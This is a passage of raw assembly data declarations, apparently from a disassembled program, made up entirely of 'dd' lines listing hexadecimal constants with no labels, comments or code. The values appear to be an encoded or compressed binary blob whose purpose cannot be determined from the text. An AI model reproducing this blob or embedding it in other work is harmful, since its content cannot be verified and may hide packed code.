		dd 0B89154BAh, 1A510069h, 8C01F6D6h, 0AE00EE6Bh, 9FB65D37h
		dd 7DE87E2Ah, 4ED57180h, 0D884E872h, 9CF7DB7Ah,	0A1066708h
		dd 18F8EA58h, 0F968868h, 3003A4E6h, 0EA86BA67h,	0C2C104E2h
		dd 91372CCFh, 0EA27BE78h, 90EEF304h, 5B19EA70h,	7509CE16h
		dd 0A2912437h, 0B833ED78h, 0A6231448h, 7145805h, 14988F84h
		dd 8D008A40h, 23184D14h, 415C7118h, 0C08CBA19h,	8BB0E2D9h
		dd 0F900B94Ah, 0A10D6017h, 2E7D1985h, 25300855h, 3B918C97h
		dd 0F9731C80h, 0EB3E1681h, 0C0793147h, 49BE88BBh, 0F6B0D13Dh
		dd 0FFE9B9C4h, 94E1CD09h, 0D2F002B4h, 9FE088Fh,	0F0149A47h
		dd 48F40724h, 227DA08h,	0AE3318DBh, 3BF38048h, 5985EC05h
		dd 6499CAD4h, 24345EC0h, 8B9C9A26h, 68315B04h, 0A101F3BAh
		dd 0B232439Ah, 93C87355h, 0EA7B075Eh, 0A2227504h, 0F0CAE8B6h
		dd 0E8633C87h, 0B0AA821Ch, 0E38348h, 2F9FBCD0h,	2797172Bh
		dd 0E4745E80h, 32D92E6Fh, 9F0AF4D0h, 0B45940A7h, 3FC8DF18h
		dd 0E377E560h, 1679B5F8h, 704F2528h, 0CDD6C0CCh, 0A2F3EA81h
		dd 94300B43h, 0C23457ECh, 0E800188Dh, 0F46993D2h, 0EC095813h
		dd 16D47310h, 50205770h, 4AFB205Bh, 0BB1828BDh,	911CEA00h
		dd 5A4E6C3Bh, 3A18C099h, 92F2ADAEh, 0ED9EB605h,	54224AA2h
		dd 0A46E77ABh, 27EF0C08h, 850246Ch, 65174414h, 890B4h
		dd 0A35363E2h, 3ABFD0AFh, 0B80AD2F2h, 9C41E0B9h, 35C6D80Fh
		dd 0C42F4AA0h, 34009B23h, 0DA44EE08h, 1369B206h, 3D05805h
		dd 7F4A79B0h, 0A956F6C0h, 53A3F404h, 6CD360D6h,	0CE441DEBh
		dd 0F21137C8h, 0A0A04673h, 0F0670E4Fh, 5E479900h, 1B684E58h
		dd 5B431F0Ah, 0E9CA0091h, 553221D4h, 350D38h, 9EC741C5h
		dd 10E352h, 6CD35126h, 5547645Eh, 4168C918h, 32C4E748h
		dd 0C8194BC0h, 0ACEC610h, 0B3516CAFh, 0CB590110h, 0C44C5F0Bh
		dd 8C76B467h, 0B2E518C1h, 0FF053A77h, 6DB6D881h, 6F084980h
		dd 75E60419h, 0EF423C07h, 7A463D85h, 972A0021h,	6096BF1Ah
		dd 91005578h, 8DDC891Eh, 73D1676Ah, 11A500A8h, 0DEA4C15Dh
		dd 5E005518h, 0D958DB4Eh, 0C72A4FDAh, 63756878h, 19D13CFEh
		dd 19661E6h, 409070h, 16BAD3h, 514C4FB6h, 0EC068211h, 43F88C10h
		dd 79125802h, 209E8A91h, 0FB50723h, 8E40EC96h, 76A4D817h
		dd 0FEA00D60h, 2C767CFh, 0DF65837Eh, 9CAFBFBAh,	89D16B80h
		dd 7800C9C8h, 4268EB8Ch, 1E866A32h, 434611A0h, 0F6AF3623h
		dd 0CD5BB9B8h, 7E02AC19h, 1421CB58h, 0C06AF400h, 8E6202FEh
		dd 61B765DBh, 276BA8A0h, 0A5002D0Dh, 19D81A0Ch,	0E8FB0910h
		dd 1267B51h, 4BA391B8h,	9F4D58C8h, 3D471850h, 0F8937B6Ah
		dd 68490047h, 36898221h, 620C8DD8h, 89DC054h, 8321C055h
		dd 971E898Bh, 9E03E007h, 0E4C61D0Eh, 22385841h,	5837647Ch
		dd 898560FDh, 65D82331h, 861B5611h, 0C3F0208Eh,	0B43FE394h
		dd 47790710h, 2C25CADFh, 2C3AA40Ah, 2D465Ch, 3CC1B9F3h
		dd 2CFD738Dh, 193172Ah,	0F1966830h, 6E802448h, 86023100h
		dd 5C25DCD7h, 8146FCFh,	380D21D8h, 54C0200h, 0DF574D62h
		dd 0AF65005Bh, 8E4576DCh, 0A828FB77h, 0EEF5D43Ch, 5E566F40h
		dd 0C09368C8h, 0D7830236h, 47222446h, 23D0801h,	9DF8B0B8h
		dd 7BCA90C0h, 0A0043AC0h, 40F0FB00h, 0B3E76D98h, 2B1BB500h
		dd 4C5C49EDh, 82C41061h, 0C872284Eh, 115AF937h,	69AC0660h
		dd 0B0D0CDFh, 4209C745h, 0FE9821C0h, 1F199ACh, 0CA92D812h
		dd 5054408Dh, 0F2268BA4h, 114C3400h, 0A6FC1659h, 99500024h
		dd 25FB9146h, 0B6725ED5h, 0C94FDC30h, 507C9371h, 16E8837h
		dd 6B8D17Eh, 4466FADCh,	5714018Ch, 3954E3h, 49DAA4C2h
		dd 0D064F80Ch, 303F3263h, 0DFFAAC07h, 4B221546h, 0ACFF8700h
		dd 6F2E5543h, 3208248Ch, 0B33107E8h, 0CC2DC98Bh, 3891A070h
		dd 3E239B43h, 6BAC0538h, 0A038FDDFh, 0ACF83E9Ah, 0BAFDA701h
		dd 300D1D51h, 4E442434h, 52D42A55h, 0EFC12CA8h,	0CCC406A5h
		dd 49C12170h, 249BC33Fh, 0DDCAA084h, 92208202h,	82EC3531h
		dd 223C46D7h, 1097C3Ah,	770A3802h, 0F0232748h, 2C387B30h
		dd 9C1B0097h, 0C25545ADh, 78446903h, 7911E01Dh,	8C60A98Fh
		dd 0D4E72E2Dh, 0C8512C32h, 22BCE1D1h, 61DAB052h, 8D006A90h
		dd 4B511CEBh, 68499EF4h, 0B946D8CCh, 196461B7h,	30D9B93Bh
		dd 0D500FAF2h, 7C9714CBh, 0C4B1A5h, 46BAB793h, 8CE88F3Eh
		dd 794DAA15h, 44EB3AB0h, 62DC1AD8h, 0B84E7876h,	47B2D20Ch
		dd 0C0A030h, 4DA282C7h,	4BEA858Ah, 0D2E55B06h, 0EC20502Bh
		dd 9A5090D4h, 7DC21604h, 23783E0Ah, 9590076h, 0AB9A391Fh
		dd 0B3501306h, 995055FFh, 525380F0h, 38C67C6h, 0E7F9700h
		dd 429554FBh, 69D1766Ch, 600EC988h, 700C4E43h, 0D1056FF2h
		dd 0F6C47BC0h, 3AF8D27Fh, 3A2370h, 0BF402291h, 0BD0A9BD7h
		dd 0D8B6989Ch, 77B4AA40h, 647806A9h, 0C1DBC2DFh, 58923703h
		dd 152B3C3h, 0D2105110h, 25B7DAh, 51B0C4E3h, 0AC4EA43Eh
		dd 7300639Fh, 0B3E05A7Dh, 0A54300ECh, 0E413EBC1h, 7464BCD4h
		dd 70808858h, 0FDCAFC72h, 70605CE5h, 899F9h, 22EFC6A4h
		dd 0ED01D4DEh, 49B88EE8h, 0DF4349Bh, 62C10054h,	55861FE6h
		dd 89311699h, 419860F8h, 9CC08F02h, 3F58E109h, 0C7F301C4h
		dd 0CF35CC0Eh, 98266570h, 0D0910579h, 435347C2h, 3350D384h
		dd 39FF4015h, 3C0500B4h, 0CD5F0E0Ah, 0DF79DEh, 3F8BAE9h
		dd 0C99BB619h, 315D940Eh, 104729CBh, 0C3CE7038h, 7B6D3041h
		dd 794C0878h, 0C2D48128h, 5470CA10h, 0CCCE3938h, 0D705BC49h
		dd 15D99EBh, 6DC0788h, 0D188075h, 0DF87C6C7h, 38CE5CA9h
		dd 8994C9F4h, 8B6B1120h, 0C0280094h, 1E46F513h,	185B475Fh
		dd 0C2618836h, 0D1B89854h, 0B3517809h, 471C8491h, 50C17FC6h
		dd 40D88C4Eh, 0D7167859h, 4620FBh, 4156F8h, 706C6EB6h
		dd 0C35B64A7h, 9151F100h, 66ACD0A1h, 0CAD11260h, 4740802Bh
		dd 38D259BEh, 0F036380Fh, 7C9BA514h, 0A6AD7D77h, 93D1083Ch
		dd 0FC3A2814h, 0F82D9003h, 28352666h, 0E8BC7F60h, 5A9B2AB2h
		dd 0D9AC99C4h, 1C11840h, 0A03E01DAh, 506AD456h,	0BC8CE584h
		dd 808C3D48h, 33E1DACAh, 5CF84868h, 3ED0780h, 5900D461h
		dd 0D01E5DA8h, 5AD346Dh, 26DA98A0h, 97540465h, 41E0223Eh
		dd 80509D84h, 5ACD891h,	0F31758D6h, 4F840B50h, 2DAF8810h
		dd 0FC9ED80h, 55EB54E6h, 0D35880B8h, 0C649624h,	40A6E942h
		dd 0C757F880h, 0A0F5C6A1h, 402CB669h, 24FEA07h,	0F20E575h
		dd 252A1050h, 1490F3B3h, 684053F0h, 0BCFF0E83h,	0A1A05B55h
		dd 5E2D25AEh, 213CDD31h, 94507EB7h, 12D915h, 44809E7Ah
		dd 8A7BF402h, 0A73ED30Fh, 0E93B6F8Dh, 7A808286h, 0F85D6058h
		dd 12324A29h, 909C0570h, 20081855h, 0A2844224h,	0A01C644Dh
		dd 836E1E20h, 5BD83810h, 8EC9F980h, 371534C8h, 8053F8h
		dd 863691B9h, 136E2E5Ah, 9F78443h, 7C119578h, 4F858D1h
		dd 51883E40h, 99ABC5D7h, 0FC9B86D8h, 0C00E183Ah, 80582206h
		dd 0CD50C966h, 2BC33056h, 0CA4A9751h, 0DC78E402h, 4051FDACh
		dd 0CE6BB6D0h, 0F6A30721h, 0C7D9B031h, 0D1AC504Bh, 68B06EA6h
		dd 1898B8FCh, 92E8973Dh, 0F81227B9h, 440C1805h,	48879837h
		dd 0A608547Ah
		dd 53204502h, 27B812A4h, 9CE3C110h, 0AE18BB30h,	0CF45F4DEh
		dd 4A906FC1h, 0D8206035h, 81CD40E4h, 0B4845490h, 84BEF0B9h
		dd 85D83589h, 8A008238h, 0D7205789h, 50B6604h, 91EA6D61h
		dd 0C8348B73h, 0BDD6C044h, 8B003D19h, 0C903F2E2h, 99D7CAD0h
		dd 0F0450600h, 0B400D157h, 0F816E1D3h, 0D62D47h, 0AFB52199h
		dd 52F9C5F1h, 1ADC59C0h, 29767E2h, 0CA96F885h, 98827AB1h
		dd 0A48307B6h, 83BF3505h, 100C746Eh, 0E15B46FEh, 44220E3Bh
		dd 0E8806717h, 0B9E46CCAh, 0A0AE1920h, 5D17EA8h, 32C338BAh
		dd 6FFC900Ah, 0B218DF61h, 0E7B841AFh, 0D0085DB4h, 0C38C6726h
		dd 0A91E4DF8h, 8040EB36h, 1ED68235h, 57460E15h,	0A64FFB92h
		dd 2B6F8FE0h, 0B22AE532h, 650B88CFh, 223F98DCh,	9751A70h
		dd 58E0AC07h, 0D719DA07h, 0A492A484h, 0D9E871C2h, 0BEC81FBEh
		dd 8BC9005Eh, 8CE781AFh, 28C04208h, 63A7CF7Eh, 0A8D12648h
		dd 6B6A090Ch, 4045644Eh, 30FC5C42h, 32118986h, 629D6DD8h
		dd 898F8705h, 94C1DE24h, 0C003539Fh, 0A2ADFED0h, 4E4B8B0h
		dd 0C8CAC8B1h, 0C95AA409h, 0F2ED34h, 78C4E2FEh,	83C574Ch
		dd 166F3688h, 0BC7C04CEh, 8E801D48h, 0C31D5BDBh, 78426C17h
		dd 0C0054E29h, 0A8430215h, 42FC4078h, 509E115Bh, 9CB31674h
		dd 2B10913Fh, 165002Ch,	5C517A6Dh, 0F40854E9h, 0A994D59h
		dd 483CA560h, 61D9670Eh, 48527465h, 2C94DB4h, 36CC240h
		dd 194C5163h, 195C005Ch, 26DC0666h, 20554E73h, 989B5F30h
		dd 0F3D4048Ah, 33898360h, 3075D826h, 8C8470h, 95BF0189h
		dd 0A41DAE45h, 0C061E400h, 0EA9E85EBh, 0E52C027Dh, 0EF01AF1Eh
		dd 0D408485Bh, 0CB42823Ch, 3091F5Eh, 4B5F8C9Ch,	0C5407190h
		dd 0B7781042h, 98A9C060h, 0CF8A7E72h, 66DA7A01h, 0A97F8D95h
		dd 31FF8470h, 0D028778Eh, 8A5084B9h, 0C4425564h, 0E0949ACh
		dd 0BC454AF8h, 9950400Ch, 794F30A2h, 3C969CDEh,	67F67E50h
		dd 6E0B1176h, 645697C3h, 6B362410h, 2C4F008Ch, 8C1EFE6Ch
		dd 600F7C4Eh, 40C86172h, 0E03896ABh, 4382F13h, 16709A74h
		dd 41D15082h, 87228F8h,	0CC9ED216h, 0DA1FDF54h,	0C0F844CBh
		dd 1EA8ABBEh, 40E44678h, 0CB215133h, 0F4B965AEh, 0C453A611h
		dd 0EF302CA2h, 90CB00D2h, 0C7036B92h, 551835E8h, 3E4969D5h
		dd 19CF667h, 4F83F7C2h,	624CC4F3h, 5461088h, 0C2962C0Bh
		dd 0B189BCA4h, 0B21C2014h, 3AFC6D52h, 7C914028h, 0D8FB5DE6h
		dd 0DF439F01h, 30C82EC2h, 8E32614Ch, 2A0448E7h,	18EB745Ch
		dd 56B10C2Eh, 0D270BADDh, 0BC0430A2h, 260E38Bh,	0E6FB196Ch
		dd 1064317Dh, 41A942Bh,	9CD350F8h, 0DAF4E03Bh, 0D4337B29h
		dd 0D10C13h, 0F05583B2h, 0A72A8480h, 0AEFF87Ah,	4F60FBD0h
		dd 7BD88180h, 38726D7Eh, 289B3486h, 4DA210B3h, 25338232h
		dd 2C8823Ch, 0EB570072h, 70CF5408h, 2E3138F9h, 8F3000A0h
		dd 20EF0A90h, 250902F6h, 273EF0B8h, 0C2D03774h,	0B17A7Fh
		dd 712C1DA9h, 0A2EAF14Dh, 6A4BF09h, 0FF6C0236h,	77DC4056h
		dd 391C2693h, 573B4288h, 5D4ECE00h, 0A1D02688h,	310B18A8h
		dd 1316EF2Ch, 381FCB1Dh, 0A89057D7h, 3D84DD86h,	7880DA32h
		dd 12BEC334h, 1DE0A6DBh, 0A800DC72h, 7FBF5149h,	3FCE0F4h
		dd 0C320D1F6h, 5CF078C2h, 35392D75h, 0CA21DA5h,	2E8E9A40h
		dd 16D2B9h, 3868D4A1h, 0E19046BBh, 71C52207h, 0B48EB752h
		dd 0E4BA0008h, 0C69D7964h, 5C90772h, 60D6BC04h,	3674CBEEh
		dd 0C8B58B06h, 7938D0h,	0FBF3ADC0h, 1AA29CC4h, 0B9003476h
		dd 313EBE10h, 39C52078h, 7050DB9Fh, 42C20C59h, 3440C09Ch
		dd 0B7A0A300h, 94B639EAh, 0CC86FC30h, 8521A908h, 0AB79800h
		dd 0F491B83Fh, 77CB060Dh, 50D21A9Fh, 46453A18h,	7C16B99h
		dd 79EFA7F8h, 1998C63Eh, 0EDC9521Ch, 16BB4841h,	9887829Dh
		dd 0D0F7253Fh, 363D72D7h, 50CE550h, 0F8ADF030h,	1A48FCBDh
		dd 10C1DBF5h, 0E0169802h, 0E378AC00h, 0C3A9C0DAh, 6A7541E2h
		dd 502C490Eh, 8F3FEC7h,	81213EDEh, 0DCDB7580h, 0EC579D95h
		dd 4B5B7A0Fh, 0C200702Ah, 4AD4227Bh, 0BF609CB4h, 7061059h
		dd 72DD0052h, 0A1F6F91Dh, 0C000058Dh, 0B73D114Dh, 0CE941C8h
		dd 54157D39h, 1E054810h, 35D095C3h, 6E00D45Fh, 5FBB3D03h
		dd 0B37419E6h, 80280887h, 375EF21h, 3F60AD5h, 0C7CC6743h
		dd 36B0937Dh, 98A5A851h, 0D0EBB02h, 450C1480h, 1885ED3Eh
		dd 0F2F53349h, 0DE1BD31h, 1DE90079h, 0A8A15234h, 0A8012322h
		dd 92BB811Eh, 0D9F9C7EFh, 46CCF042h, 89D1783Ch,	2FA7EC60h
		dd 407B9829h, 8401C900h, 54DA20D8h, 1FCBCD2h, 16F7A33Eh
		dd 607605A5h, 0FBB8326Bh, 0F04EA900h, 39E1D8B4h, 692E6045h
		dd 0C65B98EEh, 75407963h, 1CA810CEh, 25490FE1h,	0E4709854h
		dd 0EDA41C15h, 823B80AFh, 48133832h, 3C481274h,	0EF76107Ch
		dd 0D1A26306h, 7200C137h, 0DCE51A8Dh, 14749A23h, 0F6703067h
		dd 0B9C6DA18h, 0FF00A658h, 2D9D1BF9h, 0F41DC962h, 1378C0B6h
		dd 0AF6B0246h, 414C549h, 24BD553Ah, 0C7F80080h,	83C62810h
		dd 0F5CF1898h, 0E3D7958h, 0C4976528h, 20162926h, 73344E81h
		dd 4424772Ah, 0FFEC0098h, 0A6F0F199h, 9CCF9C6h,	5382184h
		dd 2124FFE4h, 58F3C157h, 840820B5h, 9890C281h, 915D82A2h
		dd 0C7F70055h, 1084C96Eh, 2C2ECF4h, 754D37E4h, 82684A59h
		dd 0F6BA518h, 0CA01F582h, 6CB72442h, 1FE580BDh,	1C7C5AD0h
		dd 0BBD10499h, 7915536h, 30FC7A29h, 977900F9h, 655217F8h
		dd 0BB15267Ch, 50C8F2DAh, 9C481B68h, 0E1A4845Ch, 8CE204C8h
		dd 6D753A04h, 0DB626449h, 75428820h, 16CE1E6Fh,	691F804Dh
		dd 0DF4B65A6h, 50737F32h, 753E30E6h, 44496911h,	8480D888h
		dd 8EAC7546h, 254939Ah,	0A75FEDE3h, 2C4D923h, 91EC8531h
		dd 0C881A274h, 884D5FEh, 49CAA11h, 806592B4h, 87BB408Fh
		dd 2044B4ACh, 3721FF4h,	9AF201D2h, 41547DFDh, 0C834DCh
		dd 0C5DC3F39h, 6EDCF81h, 0E9BC9B1Ch, 0D0D1BB00h, 51FB6F60h
		dd 702C00FDh, 5059A9ADh, 87389B85h, 0E93770C2h,	25020812h
		dd 0DAAEC0FBh, 4C2B0042h, 580F6CEAh, 0CD0F013Dh, 0FCD4C8h
		dd 858DD2B7h, 16FA0EE9h, 57036A06h, 470E03E8h, 44C35F20h
		dd 0B2AF7C89h, 211C3095h, 3C35747h, 99283625h, 1990F9E5h
		dd 0F18504Eh, 0B9270583h, 0C02418D9h, 0FB386C0Bh, 1EBF0F80h
		dd 0C78950C8h, 0A0141CB5h, 150995FFh, 0B9660CC0h, 32831619h
		dd 519A10C4h, 0E4C35930h, 224C4689h, 5141001Bh,	393B0CC3h
		dd 0C1172A19h, 20FBD476h, 8BF315C4h, 0ABFBB000h, 0DC562DD5h
		dd 39755C6Fh, 0E9663D06h, 990F2B0Ah, 206CACE8h,	0F60E0B10h
		dd 8B5F0039h, 31BF66C0h, 0BD1B8391h, 81B630B1h,	12880975h
		dd 74961AE1h, 346D18BAh, 761D3B8h, 49858958h, 9D8D2582h
		dd 8C80B73Ah, 585BD3FFh, 174122ACh, 2911200Fh, 0CEF90B4h
		dd 0C909E9F8h, 0B30E003Eh, 929EE75Dh, 90D01528h, 0E5623ACh
		dd 8944C35Eh, 20166274h, 83C35646h, 89C8C20Eh, 82294C9Dh
		dd 62BD1081h, 726F00F9h, 840F6165h, 6839D9B1h, 0BB211950h
		dd 914489C8h, 5040C02Dh, 11008BC3h, 98F8E689h, 0F2165147h
		dd 6193095h, 0CDBD3174h, 853381A4h, 105081DAh, 0C8FB170Eh
		dd 0CA324A38h, 0C60C032Eh, 49005985h, 184F6844h, 14FF96A3h
		dd 301145B5h, 423B1312h, 0D88BD053h, 94D32CB1h,	91436212h
		dd 0CDE8404Ah, 8371442h
		dd 0EB410C20h, 47C526F7h, 6610815Bh, 0AAC5DF81h, 0C4CBA520h
		dd 1F0C8522h, 25F88B87h, 8083A7AAh, 0D283ACD6h,	5DCD4105h
		dd 0C7083B16h, 251D7985h, 0C3C8A7Fh, 332E7EDEh,	96BCF96Eh
		dd 0F680FB00h, 1DB589DDh, 0E964C522h, 52334874h, 91C35AC3h
		dd 15185489h, 15524288h, 0A7409EC3h, 342235D4h,	803EB532h
		dd 88C62FC1h, 576E1D08h, 5908110Eh, 1BBE2FE9h, 0DB0D138Ah
		dd 140B000Eh, 0A7AA96BAh, 301C98Ch, 0FB5048C2h,	6491CB0Bh
		dd 18293BA3h, 528E044Dh, 11EECC53h, 0D0C6599Fh,	0C82DD685h
		dd 5DC355F4h, 6C8991C3h, 4501AD4Eh, 918AC355h, 0D17F20A4h
		dd 812804E1h, 3284585h,	2008FEFFh, 8817095Dh, 0E9942A84h
		dd 60F80075h, 768901E1h, 0BDDC000Ch, 0D8BFB08Fh, 7A010B3Ch
		dd 0E9D249ECh, 3092111Ch, 0C13B0260h, 0FF41EA8Fh, 618183D1h
		dd 503E9h, 0F6F1817Fh, 799589B4h, 9220B69h, 3B4F9836h
		dd 5F9F0068h, 55DA7197h, 66005275h, 314EE7CDh, 993C17CBh
		dd 1FD4F9ABh, 0A25ED4C8h, 35EF02ACh, 136CA42Ch,	68151E43h
		dd 0D29C04C0h, 8EBD5500h, 0F08318A6h, 0D8B102AAh, 3F687EEEh
		dd 0E80AC98Eh, 0E1354089h, 0C90EADBCh, 675F0422h, 0B360FECAh
		dd 1DDC3631h, 0C1BF9ECFh, 5A40D953h, 4EA526Ah, 0C6978329h
		dd 0F51826C5h, 0BDD51506h, 3585090Ch, 81F1E90Dh, 639BAB31h
		dd 6420B139h, 482090C0h, 17FCCB1Fh, 0B6E0A8Ch, 12A16B9Ch
		dd 8B76435Ah, 7CAEDDBDh, 0A0956CFh, 58BC9D29h, 8C15EC0Bh
		dd 8B89AC14h, 4B3134CFh, 19C8588Eh, 8905CFC0h, 0E88DE252h
		dd 14A528BDh, 0CAF38329h, 53319121h, 0C3725B18h, 415C892Eh
		dd 1534370h, 2FEAAC3h, 0D0F7C780h, 9090567Fh, 0CD59EA09h
		dd 0C7F2B25Ah, 60164471h, 1ED4B76h, 0DABA6050h,	4765D330h
		dd 911334C1h, 30016ACDh, 196F811Ch, 0F6002CDh, 80064489h
		dd 820D29A6h, 4FF98305h, 0D7AD61ACh, 10ADEC41h,	0F3FF6880h
		dd 13665F20h, 2CD21ABAh, 0E88937C6h, 0AC00A532h, 0B6CD4F7Fh
		dd 0CF006957h, 0DA2D9145h, 0A059C799h, 80F9B784h, 4DA4800Fh
		dd 0C424E120h, 52651C4h, 111425E9h, 0D2042C31h,	0E847584Eh
		dd 0D123C00Dh, 978FDAD3h, 623C6100h, 284ABAE0h,	205098BDh
		dd 5A31033Dh, 312FD050h, 62129D5h, 30A0BC2h, 0F08A4268h
		dd 3346AE41h, 301CF2E6h, 1A00C1E6h, 0CCFBAFFh, 1AFC4EA7h
		dd 737D9529h, 0D2EC891h, 16883D4Bh, 6426C0C0h, 0AB8848BFh
		dd 72E9090Dh, 91F20121h, 160C051Ah, 94E9CF5Eh, 135F808Fh
		dd 55A28302h, 583B8D00h, 37BFF599h, 0DBE28B4h, 5C36D48Ah
		dd 8C18F8h, 2820BA96h, 1960B953h, 0AD036728h, 0F702A929h
		dd 8812C90Ah, 4A76F1CEh, 8515AF8Fh, 19BDC264h, 106A0009h
		dd 3C24E680h, 52292D0Fh, 3E554164h, 24A83C8h, 9082508h
		dd 8E9F36E9h, 0FE861691h, 9522A0E4h, 0F5ACC4B5h, 0C5C8A0Fh
		dd 77E99D01h, 810F2A50h, 4D95106Fh, 8D890405h, 508A1039h
		dd 0CE28E858h, 965279A4h, 1B4676E9h, 0BB2D7800h, 9BEFCB69h
		dd 0BF661705h, 0C524902Ah, 4A98BF37h, 9550925h,	29092B14h
		dd 912279B5h, 0D7E8A4h,	53036833h, 0B3F489DFh, 23FAC300h
		dd 4995EE71h, 0CA6B04E9h, 0C148F7ADh, 40D4D03h,	0B5317DD0h
		dd 0A50F92D1h, 5C032646h, 0F8001D46h, 6CDA9E1Fh, 0A22CE8DFh
		dd 9509983Ch, 64182975h, 0FECC3906h, 4719903h, 2AF7A6E4h
		dd 64A11B7h, 25298501h,	0C9AB9936h, 17117697h, 8768D381h
		dd 247349C6h, 9DC82EF0h, 0C5B5800Ch, 7E21B031h,	40C8F902h
		dd 4E753C62h, 4CD150ABh, 0F92F992Bh, 46181Dh, 687FAFBEh
		dd 0A4C69E73h, 39F5F150h, 0B0482B42h, 68401D3Bh, 67E18070h
		dd 752EA0D5h, 0A31A04DDh, 8E036A07h, 0C718886Ch, 703DC16Bh
		dd 59C020D2h, 0CDFC2640h, 63AE294Eh, 0BD010400h, 0A8B42281h
		dd 4D6864F9h, 0F5C687C0h, 0D6108825h, 1155838Ah, 0BA194C08h
		dd 14658A7Ah, 176018E4h, 2705C633h, 0FFF8832Bh,	4BEDB04h
		dd 9490AE12h, 716A58h, 4733C637h, 63FC1642h, 4485FF12h
		dd 94B2714h, 6A351DB5h,	20C041Bh, 3C184C1h, 37870B2Dh
		dd 4143D07Dh, 7B1EC23Ch, 1000BEFh, 0E17498AFh, 9B77264Dh
		dd 243B075Bh, 8BE90F5Bh, 7E94410h, 0BAF50BC0h, 379DA8Dh
		dd 0D0FFD973h, 3810CAB1h, 86581E8Eh, 0FEA1E20Dh, 5FD301Eh
		dd 0BA406089h, 120361F7h, 940CB18Dh, 9DBE0BB7h,	124766A9h
		dd 217FD8C4h, 0F71D7AD8h, 12801511h, 0CDB58992h, 60763155h
		dd 51821D44h, 9FF241Bh,	4D460A0Dh, 19C486A5h, 0D9259B60h
		dd 0F2E2D114h, 798534AAh, 5328DDF3h, 59FB24C3h,	959D86E8h
		dd 31942623h, 11211D69h, 68C0801Ch, 0CF970EAh, 0B3A6CB3Ah
		dd 164C55EEh, 3596999Fh, 2B287965h, 83F181C0h, 1D4A62C9h
		dd 833A4724h, 8A071A23h, 12C1D225h, 1372B3D7h, 939F3FC9h
		dd 22801A91h, 110F9B47h, 0C48C8532h, 0CC574A35h, 5C235C3Bh
		dd 92962C20h, 410BB748h, 80119426h, 811BA58Bh, 65FF6650h
		dd 0C195151Ah, 0F8010298h, 0CD2058E5h, 8EE256A2h, 0B3C7EF07h
		dd 0F9680245h, 2B348603h, 1A18621h, 8C8D6507h, 9D28B5FBh
		dd 3C135310h, 797A16FCh, 497A81Ch, 0A150B673h, 30CFA4FEh
		dd 41C6842Ch, 16A2419h,	66CB1651h, 3D202290h, 0C2810222h
		dd 747A6025h, 54568A84h, 215C75A2h, 4216A521h, 9DD96A94h
		dd 20FDC701h, 0F589812Dh, 3E441916h, 0B99D1431h, 0CBA5F724h
		dd 0C01DC898h, 0E2BF461h, 9B3FD672h, 0B5A6E264h, 360AD845h
		dd 143122E9h, 602F18ACh, 1D0220E8h, 88E149h, 0E6B1B0A1h
		dd 0FFBF0F10h, 0B58B5A09h, 616AA05Dh, 558D3350h, 0E9239065h
		dd 92313700h, 0E6C739F1h, 5C293E93h, 0B927F480h, 440C9Eh
		dd 0F5F839A8h, 5EE56CC8h, 0C5D06909h, 684F322Eh, 9396EF02h
		dd 0BF8B3D4Eh, 7CB9DB2Dh, 0A565EB8Dh, 3E604E42h, 0EA05CEBh
		dd 88C3C94Ch, 57EA7940h, 0DB0582ADh, 0FCB37F40h, 0BD292920h
		dd 0F044075h, 80328E48h, 0D91ADA81h, 34C498Ah, 0A76E97h
		dd 7C0E7143h, 0ECC75A48h, 74E925F8h, 0F2D780DDh, 652489C8h
		dd 90A79A2Ch, 499D29CEh, 61760A50h, 86A72362h, 0B9F4D103h
		dd 2A5D850Ch, 0BAB8571Eh, 5F810971h, 0E9C82284h, 0E2E9D562h
		dd 7DAA0007h, 0DFD97B44h, 12B1F8FFh, 4E5CB58Dh,	0E5E429DFh
		dd 9A5E880Eh, 527AA94Fh, 4E6ADF00h, 1ADBD0Bh, 0E904CB92h
		dd 629259E6h, 241DF481h, 81D0EB9Fh, 0B0DEA1EAh,	5170A87Ch
		dd 0F982D250h, 0F8E42E45h, 0E9F32D8Bh, 9233EDA0h, 123942ABh
		dd 5BDE29B5h, 3BC18005h, 6507EBB2h, 80544438h, 4D13A069h
		dd 737D0124h, 4082831Ah, 0A4231502h, 92EAF1F9h,	80CD6240h
		dd 9EB17A5Ah, 0F943B924h, 0D9C81FD9h, 5F85F5Eh,	0F3CC1911h
		dd 3018B2F5h, 0F60077F2h, 0BDB9AB80h, 9A66B370h, 83E570CEh
		dd 0E323D8B1h, 53A493FCh, 12F58E18h, 0E589031Fh, 0EB5043D0h
		dd 402006B0h, 63861704h, 0FE8A05Bh, 8A117F00h, 0A1530D14h
		dd 6E840509h, 829030BCh, 0F60D8B9h, 5F58FC1Ah, 0ED122246h
		dd 224352FAh, 0A17C06E8h, 3EBE4704h, 0C845F80h,	0ED503E0Bh
		dd 0C66BC040h, 6A278BB2h, 2CCB0460h, 0F8AEE4E5h, 0A902F4F9h
		dd 0A8F470AFh, 94486350h, 5341C852h, 1BE08900h,	8372A7D0h
		dd 6C6268D2h, 14465C38h, 0A93C2C34h, 782B8AEh, 563873Bh
		dd 68AE93C5h, 460B1882h, 20534B9Dh, 34C62E55h, 6483EC00h
		dd 3D22D845h, 0B86F9A13h
		dd 5E929625h, 6D031946h, 51E4950Bh, 0BE95309Dh,	2000AC9Ch
		dd 3AA1322Ah, 9851E7A3h, 890AE690h, 817E88FCh, 65F91330h
		dd 0E97204C1h, 48C1CA15h, 0F6CA2BAAh, 1920C528h, 1740FC1Dh
		dd 444B518h, 6421E1AAh,	0E5FA5D82h, 0DC46961Ah,	3D1C3F98h
		dd 299E832Eh, 0F98F5CC3h, 3B72990Fh, 2EDF0E61h,	118E598Fh
		dd 5DBA0005h, 3D32AEDDh, 833AA08Ch, 1DDBA9Fh, 1AB5CCB9h
		dd 0C223E975h, 9D8CE7E5h, 543D5B2Dh, 8A7E2198h,	1D9D7981h
		dd 0B866000Ch, 6152274Dh, 8802071Ah, 0E9642E21h, 48A262DDh
		dd 1D806AE9h, 0DBBF29CFh, 5FBA6F03h, 0B01B2D58h, 24A787Ah
		dd 4D8FD781h, 197113E0h, 80B95CB2h, 0D1C9813Fh,	5066C3C0h
		dd 92FDBD09h, 34D15A5Bh, 93EE4700h, 0AAEC7B1h, 71642F74h
		dd 1F2E1280h, 0E0A4C755h, 3F9839ACh, 35E2B175h,	0A0362D00h
		dd 7CBD2366h, 761E1201h, 0F5FA0CFBh, 594B5F85h,	0C8BA06C0h
		dd 0C6E2877Ah, 0C6083F0Bh, 20C45C0Bh, 162D0Dh, 0EDBF601Ah
		dd 1A58A981h, 165E7677h, 4C0F949h, 805D0329h, 89BFFFB7h
